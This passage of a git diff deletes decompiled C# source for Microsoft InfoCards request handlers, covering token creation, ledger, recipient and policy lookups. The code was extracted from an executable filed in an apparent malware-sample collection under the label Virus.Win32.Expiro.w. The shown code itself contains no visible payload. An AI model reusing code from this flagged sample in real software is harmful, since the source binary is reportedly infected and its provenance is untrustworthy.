private HashCryptoSession m_hashSession; - - public GetKeyedHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - this.m_cryptoSession = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() => this.m_hashSession = ((SymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).GetKeyedHash(); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_hashSession.Write(bwriter); - bwriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs deleted file mode 100644 index a732c288..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLastErrorDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLastErrorDetailsRequest : UIAgentRequest - { - public GetLastErrorDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.ParentRequest is GetBrowserTokenRequest); - int num = -1073413888; - Exception exception1 = this.ParentRequest.ProcessingException; - if (exception1 != null) - { - Exception exception2 = (Exception) null; - for (; exception1 is InfoCardBaseException; exception1 = exception1.InnerException) - { - exception2 = exception1; - if (exception1.InnerException == null) - break; - } - if (exception2 != null) - num = (exception2 as InfoCardBaseException).NativeHResult; - } - binaryWriter.Write(num); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs deleted file mode 100644 index ea3b79b7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLedgerEntryForRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLedgerEntryForRecipientRequest : UIAgentRequest - { - private Uri m_cardId; - private string m_recipientId; - private byte[] m_bytes; - - public GetLedgerEntryForRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The user preferences must be specified"); - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cardId = Utility.DeserializeUri(reader); - this.m_recipientId = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert((Uri) null != this.m_cardId, "The card Id must not be null"); - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_recipientId), "The thumbPrint must be specified"); - List queryParameterList = new List(); - queryParameterList.Add(new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - })); - queryParameterList.Add(new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - })); - queryParameterList.Add(new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(queryParameterList.ToArray()); - if (singleRow == null) - return; - this.m_bytes = singleRow.GetDataField(); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - if (this.m_bytes == null) - return; - this.OutArgs.Write(this.m_bytes, 0, this.m_bytes.Length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLedgerRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLedgerRequest.cs deleted file mode 100644 index 2d86d932..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLedgerRequest.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLedgerRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLedgerRequest : UIAgentRequest - { - private Uri m_cardId; - private LedgerEntryCollection m_ledger; - - public GetLedgerRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - InfoCardTrace.Assert(IntPtr.Zero != rpcHandle, "Null rpc handle"); - InfoCardTrace.Assert(null != inArgs, "Null inArgs"); - InfoCardTrace.Assert(null != outArgs, "Null out args"); - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(null != this.InArgs, "null request argument"); - this.m_cardId = Utility.DeserializeUri((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert((Uri) null != this.m_cardId, "No CardId passed to GetLedgerRequest"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_ledger = new LedgerEntryCollection(this.m_cardId); - this.m_ledger.Get(connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.Assert(null != this.m_ledger, "No ledger collection exists to be serialized"); - this.m_ledger.Serialize(this.OutArgs); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetPolicyDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetPolicyDetailsRequest.cs deleted file mode 100644 index 1c2063c3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetPolicyDetailsRequest.cs +++ /dev/null @@ -1,106 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetPolicyDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetPolicyDetailsRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private Recipient m_recipient; - private string m_privacyPolicyLink = string.Empty; - - public GetPolicyDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_policy, "Null policy"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), - new QueryParameter("ix_name", new object[1] - { - (object) this.m_policy.Recipient.GetIdentifier() - }) - }.ToArray()); - if (this.m_policy.Recipient is X509RecipientIdentity recipient) - this.ParentRequest.CertCacheAdd(this.m_policy.Recipient.GetIdentifier(), recipient.LeafCertificate); - if (singleRow != null) - { - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField()), this.m_policy.Recipient, true); - if (this.m_recipient.Trust == Recipient.TrustDecision.IsTrusted && (int) this.m_recipient.PrivacyPolicyVersion != (int) this.m_policy.PrivacyPolicyVersion) - this.m_recipient.Trust = Recipient.TrustDecision.PolicyVersionChange; - this.m_recipient.PrivacyPolicyVersion = this.m_policy.PrivacyPolicyVersion; - } - else - { - this.m_recipient = new Recipient(this.m_policy.Recipient, true, this.m_policy.PrivacyPolicyVersion); - this.m_recipient.Trust = Recipient.TrustDecision.NoTrustDecision; - } - this.m_privacyPolicyLink = this.m_policy.PrivacyPolicyLink; - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.Assert(null != this.m_policy, "Null policy"); - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - writer.Write(this.m_policy.RequiresManagedCard); - writer.Write(this.m_policy.RequiresSelfIssuedCard); - writer.Write(this.ParentRequest is GetBrowserTokenRequest); - this.m_recipient.Serialize(writer); - Utility.SerializeString(writer, this.m_privacyPolicyLink); - if (this.m_policy.RequiredClaims != null) - { - writer.Write(this.m_policy.RequiredClaims.Length); - for (int index = 0; index < this.m_policy.RequiredClaims.Length; ++index) - Utility.SerializeString(writer, this.m_policy.RequiredClaims[index]); - } - else - writer.Write(0); - if (this.m_policy.OptionalClaims != null) - { - writer.Write(this.m_policy.OptionalClaims.Length); - for (int index = 0; index < this.m_policy.OptionalClaims.Length; ++index) - Utility.SerializeString(writer, this.m_policy.OptionalClaims[index]); - } - else - writer.Write(0); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetRecipientListRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetRecipientListRequest.cs deleted file mode 100644 index 6fca86b4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetRecipientListRequest.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetRecipientListRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetRecipientListRequest : UIAgentRequest - { - private IList m_recipientList; - - public GetRecipientListRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - IList dataRowList = (IList) connection.Query(QueryDetails.FullRow, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - })); - if (dataRowList == null) - return; - IList recipientList = (IList) new List(dataRowList.Count); - foreach (DataRow dataRow in (IEnumerable) dataRowList) - recipientList.Add(new Recipient((Stream) new MemoryStream(dataRow.GetDataField()))); - this.m_recipientList = recipientList; - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - uint num = 0; - if (this.m_recipientList != null) - { - uint count = (uint) this.m_recipientList.Count; - writer.Write(count); - foreach (Recipient recipient in (IEnumerable) this.m_recipientList) - recipient.Serialize(writer); - } - else - writer.Write(num); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetRecipientRequest.cs deleted file mode 100644 index 9cc0467e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetRecipientRequest.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetRecipientRequest : UIAgentRequest - { - private string m_recipientId; - private Recipient m_recipient; - - public GetRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_recipientId = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_recipientId, "null thumb print"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), - new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - }) - }.ToArray()); - if (singleRow == null) - return; - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField())); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - InfoCardTrace.Assert(null != this.m_recipient, "null recipient"); - this.m_recipient.Serialize(writer); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetTokenRequest.cs deleted file mode 100644 index c5737a30..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetTokenRequest.cs +++ /dev/null @@ -1,258 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Security.Cryptography; -using System.Security.Principal; -using System.ServiceModel.Description; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class GetTokenRequest : ClientUIRequest - { - private InfoCardPolicy[] m_policyChain; - private InfoCardPolicy m_policy; - private TokenDescriptor m_token; - private ITokenFactory m_tokenFactory; - private LedgerEntry m_ledgerEntry; - private InfoCard m_selectedCard; - private Recipient m_recipient; - private object m_createSecurityTokenDoneMonitor = new object(); - private bool m_isProcessingComplete = true; - private bool m_userProceededToCreateToken; - - public GetTokenRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.GetToken, ExceptionList.AllNonFatal) - { - } - - public TokenDescriptor Token => this.m_token; - - public InfoCardPolicy Policy - { - get => this.m_policy; - protected set => this.m_policy = value; - } - - protected Recipient GetRecipient() - { - if (this.m_recipient == null) - this.m_recipient = new Recipient(this.m_policy.Recipient, false, this.m_policy.PrivacyPolicyVersion); - return this.m_recipient; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - int length = reader.ReadInt32(); - this.m_policyChain = length > 0 && length <= 50 ? new InfoCardPolicy[length] : throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidPolicyLength"))); - for (int index = 0; index < length; ++index) - { - string recipientXml = Utility.DeserializeString(reader); - string issuerXml = Utility.DeserializeString(reader); - string policyXml = Utility.DeserializeString(reader); - string privacyUrl = Utility.DeserializeString(reader); - uint privacyVersion = reader.ReadUInt32(); - bool isManaged = reader.ReadBoolean(); - this.m_policyChain[index] = PolicyFactory.CreatePolicyForGetTokenRequest(reader, recipientXml, issuerXml, policyXml, isManaged); - if (index == 0) - this.m_policyChain[index].SetRecipientInfo(this.m_policyChain[0].ImmediateTokenRecipient, privacyUrl, privacyVersion); - else - this.m_policyChain[index].SetRecipientInfo(this.m_policyChain[0].ImmediateTokenRecipient, this.m_policyChain[0].PrivacyPolicyLink, this.m_policyChain[0].PrivacyPolicyVersion); - } - int index1 = length - 1; - if (this.m_policyChain[index1].IsManaged) - { - if (index1 == 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidPolicyLength"))); - --index1; - } - this.m_policy = this.m_policyChain[index1]; - this.m_policy.Validate(); - } - - protected override void OnProcess() => this.StartAndWaitForUIAgent(); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_token.Write(bwriter); - SymmetricAlgorithm symmetricProof = this.m_token.SymmetricProof; - (symmetricProof != null ? CryptoSession.Create(this.CallerProcess, this.m_token.ExpirationTime, this.RequestorIdentity, symmetricProof.Key) : CryptoSession.Create(this.CallerProcess, this.m_token.ExpirationTime, this.RequestorIdentity, this.GetPrivateCryptography())).Write(bwriter); - } - - protected RSACryptoServiceProvider GetPrivateCryptography() => this.m_selectedCard.GetPrivateCryptography(this.GetRecipient().RecipientId); - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_token == null) - return; - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - - public void CancelSelectCard() - { - this.m_userProceededToCreateToken = false; - this.m_isProcessingComplete = true; - } - - public int SelectCard(InfoCard card, bool isSelfIssued) - { - lock (this.m_createSecurityTokenDoneMonitor) - { - while (this.m_userProceededToCreateToken && !this.m_isProcessingComplete) - Monitor.Wait(this.m_createSecurityTokenDoneMonitor); - this.m_userProceededToCreateToken = false; - this.m_isProcessingComplete = false; - int index1 = 0; - TokenCreationParameter parameter = (TokenCreationParameter) null; - ServiceEndpoint endPoint = (ServiceEndpoint) null; - IWebProxy proxy = (IWebProxy) null; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - card.Connection = connection; - if (!isSelfIssued) - { - if (1 == card.CreationParameters.Count) - { - index1 = 0; - parameter = card.CreationParameters[index1]; - } - else - { - for (int index2 = 0; index2 < card.CreationParameters.Count; ++index2) - { - try - { - endPoint = RemoteTokenFactory.DoMexExchange(card.CreationParameters[index2], this.UserProxy); - index1 = index2; - parameter = card.CreationParameters[index1]; - break; - } - catch (TrustExchangeException ex) - { - if (index2 == card.CreationParameters.Count - 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - } - } - } - proxy = this.UserProxy; - } - } - finally - { - connection.Close(); - } - this.m_tokenFactory = TokenFactoryFactory.Create(card, parameter, endPoint, proxy); - this.m_selectedCard = card; - return index1; - } - } - - public void CancelCreateSecurityToken() - { - if (this.m_tokenFactory != null) - this.m_tokenFactory.Abort(); - this.m_userProceededToCreateToken = true; - } - - public DisplayToken CreateSecurityToken( - TokenFactoryCredential credential, - bool discloseOptional) - { - lock (this.m_createSecurityTokenDoneMonitor) - { - try - { - this.m_ledgerEntry = this.GetLedgerEntry(); - if (this.m_token != null) - { - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - using (credential) - this.m_token = this.m_tokenFactory.CreateToken(this.m_selectedCard, credential, this.m_policy, discloseOptional); - this.m_ledgerEntry.DisclosureDate = DateTime.UtcNow; - this.m_ledgerEntry.DisclosedClaims = new string[this.m_token.DisclosedClaims.Count]; - for (int index = 0; index < this.m_token.DisclosedClaims.Count; ++index) - this.m_ledgerEntry.DisclosedClaims[index] = this.m_token.DisclosedClaims[index]; - Array.Clear((Array) this.m_selectedCard.Key, 0, this.m_selectedCard.Key.Length); - return this.m_token.DisplayToken; - } - finally - { - this.m_isProcessingComplete = true; - this.m_userProceededToCreateToken = true; - Monitor.Pulse(this.m_createSecurityTokenDoneMonitor); - } - } - } - - private LedgerEntry GetLedgerEntry() - { - LedgerEntry entry = (LedgerEntry) null; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - entry = this.m_selectedCard.TryGetLedgerEntry(connection, this.m_policy.Recipient.GetIdentifier()); - if (entry == null) - entry = this.m_selectedCard.CreateLedgerEntry(this.GetRecipient(), this.m_policy.ImmediateTokenRecipient.GetOrganizationIdentifier()); - else - this.m_selectedCard.CheckAndUpdateLedgerEntry(entry, this.m_policy.ImmediateTokenRecipient.GetOrganizationIdentifier()); - } - finally - { - connection.Close(); - } - return entry; - } - - public void SaveLedgerEntry() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_ledgerEntry.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - public enum TrustDecision : byte - { - NoTrustDecision, - IsTrusted, - IsNotTrusted, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetUserPreferenceRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetUserPreferenceRequest.cs deleted file mode 100644 index f3e6ffdd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetUserPreferenceRequest.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetUserPreferenceRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class GetUserPreferenceRequest : UIAgentRequest - { - private UserPreference m_userPreference; - - public GetUserPreferenceRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_userPreference = (UserPreference) null; - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_userPreference = UserPreference.Get(connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - if (this.m_userPreference == null) - return; - this.m_userPreference.Serialize(this.OutArgs); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GlobalId.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GlobalId.cs deleted file mode 100644 index 6529411e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GlobalId.cs +++ /dev/null @@ -1,120 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GlobalId -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct GlobalId - { - public const int StructSize = 16; - public static readonly GlobalId Empty = (GlobalId) Guid.Empty; - private static readonly byte[] HASHPREFIX = new byte[16] - { - (byte) 126, - (byte) 85, - (byte) 219, - (byte) 17, - (byte) 52, - (byte) 221, - (byte) 70, - (byte) 150, - (byte) 168, - (byte) 123, - (byte) 15, - (byte) 254, - (byte) 196, - (byte) 77, - (byte) 155, - (byte) 168 - }; - - public GlobalId(byte[] guidBytes) - : this(new Guid(guidBytes)) - { - } - - public unsafe GlobalId(Guid guid) - { - fixed (GlobalId* globalIdPtr = &this) - *globalIdPtr = (GlobalId) guid; - } - - public byte[] ToByteArray() => ((Guid) this).ToByteArray(); - - public override int GetHashCode() => ((Guid) this).GetHashCode(); - - public override bool Equals(object obj) - { - switch (obj) - { - case GlobalId _: - case Guid 